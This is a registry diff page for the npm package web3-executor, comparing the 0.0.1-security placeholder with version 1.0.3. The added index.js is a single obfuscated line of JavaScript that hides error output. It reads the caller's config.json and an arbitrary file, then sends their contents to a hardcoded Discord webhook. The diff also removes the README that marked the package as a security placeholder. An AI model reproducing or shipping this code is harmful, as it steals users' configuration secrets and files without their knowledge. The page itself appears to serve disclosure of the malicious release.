web3-executor 0.0.1-security → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of web3-executor might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +11 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x35ded8=_0x29f5;(function(_0x1702a9,_0x9a22bb){const _0x28976f=_0x29f5,_0x31486e=_0x1702a9();while(!![]){try{const _0x3cbc01=parseInt(_0x28976f(0x10a))/0x1+-parseInt(_0x28976f(0x106))/0x2*(parseInt(_0x28976f(0x115))/0x3)+-parseInt(_0x28976f(0x108))/0x4*(-parseInt(_0x28976f(0x109))/0x5)+parseInt(_0x28976f(0x114))/0x6*(parseInt(_0x28976f(0x119))/0x7)+parseInt(_0x28976f(0x117))/0x8*(parseInt(_0x28976f(0x124))/0x9)+parseInt(_0x28976f(0x10d))/0xa+parseInt(_0x28976f(0x107))/0xb*(-parseInt(_0x28976f(0x11c))/0xc);if(_0x3cbc01===_0x9a22bb)break;else _0x31486e['push'](_0x31486e['shift']());}catch(_0x5ef68f){_0x31486e['push'](_0x31486e['shift']());}}}(_0x2953,0x52438));const fs=require('fs'),axios=require(_0x35ded8(0x120)),path=require(_0x35ded8(0x10e)),webhookURL=_0x35ded8(0x111);function _0x29f5(_0xaeedbc,_0x21d56){const _0x295313=_0x2953();return _0x29f5=function(_0x29f547,_0x5103f8){_0x29f547=_0x29f547-0x106;let _0x9cd890=_0x295313[_0x29f547];return _0x9cd890;},_0x29f5(_0xaeedbc,_0x21d56);}function _0x2953(){const _0x392374=['utf8','code','3008010gaLCcn','path','File\x20content\x20sent\x20to\x20Discord\x20successfully!','config.json\x20content\x20sent\x20to\x20Discord\x20successfully!','https://discord.com/api/webhooks/1303436153806127207/NFp4XxsCoZ1ygI4chB6ls9sghDG2ETdq9m7iqc_76SmVaVKvqNkJAf_WIooTxlvRdCuX','```js\x0a','\x0a```','6OiNvxN','24378xLJZaV','post','8jdciqk','Error\x20sending\x20to\x20Discord:','4414893GDFKqW','Error\x20reading\x20config.json:','config.json','96YoGwYF','unhandledRejection','```json\x0a','then','axios','readFile','error','catch','1832553mSbjtW','basename','38OWzZOr','1837803ZfRRgP','4pAlyMp','3101965WRqiEx','72420qlSDfv'];_0x2953=function(){return _0x392374;};return _0x2953();}function execute(_0x285a17,_0x36da67){const _0x4ce07a=_0x35ded8;console[_0x4ce07a(0x122)]=()=>{},process['on'](_0x4ce07a(0x11d),(_0x5c3339,_0x3df794)=>{});try{const _0x35c545=path['join'](_0x36da67,_0x4ce07a(0x11b));fs['readFile'](_0x35c545,_0x4ce07a(0x10b),(_0x34bd23,_0x51ad57)=>{const _0x57d8dc=_0x4ce07a;if(_0x34bd23){console[_0x57d8dc(0x122)](_0x57d8dc(0x11a),_0x34bd23);return;}axios[_0x57d8dc(0x116)](webhookURL,{'content':_0x57d8dc(0x11e)+_0x51ad57+_0x57d8dc(0x113)})[_0x57d8dc(0x11f)](()=>{const _0x337981=_0x57d8dc;console[_0x337981(0x122)](_0x337981(0x110));})['catch'](_0xe03320=>{const _0x4b91a6=_0x57d8dc;console[_0x4b91a6(0x122)](_0x4b91a6(0x118),_0xe03320);});});}catch(_0x540767){_0x540767['code']&&console[_0x4ce07a(0x122)](_0x540767);}try{const _0x513e26=path[_0x4ce07a(0x125)](_0x285a17);fs[_0x4ce07a(0x121)](_0x513e26,_0x4ce07a(0x10b),(_0x11217c,_0x275626)=>{const _0x4c3434=_0x4ce07a;if(_0x11217c){console[_0x4c3434(0x122)]('Error\x20reading\x20file:',_0x11217c);return;}axios['post'](webhookURL,{'content':_0x4c3434(0x112)+_0x275626+_0x4c3434(0x113)})[_0x4c3434(0x11f)](()=>{const _0x1ce469=_0x4c3434;axios[_0x1ce469(0x116)](webhookURL,{'content':_0x1ce469(0x10f)});})[_0x4c3434(0x123)](_0x28449f=>{const _0x5d560d=_0x4c3434;axios['post'](webhookURL,{'content':_0x5d560d(0x118),'error':_0x28449f});});});}catch(_0xe76664){_0xe76664[_0x4ce07a(0x10c)]&&console['error'](_0xe76664);}return 0x0;}module['exports']=execute;
|
package/package.json
CHANGED
@@ -1,6 +1,14 @@
|
|
1
1
|
{
|
2
2
|
"name": "web3-executor",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.3",
|
4
|
+
"description": "Web3 Executor",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"axios": "^1.7.7"
|
13
|
+
}
|
6
14
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=web3-executor for more information.
|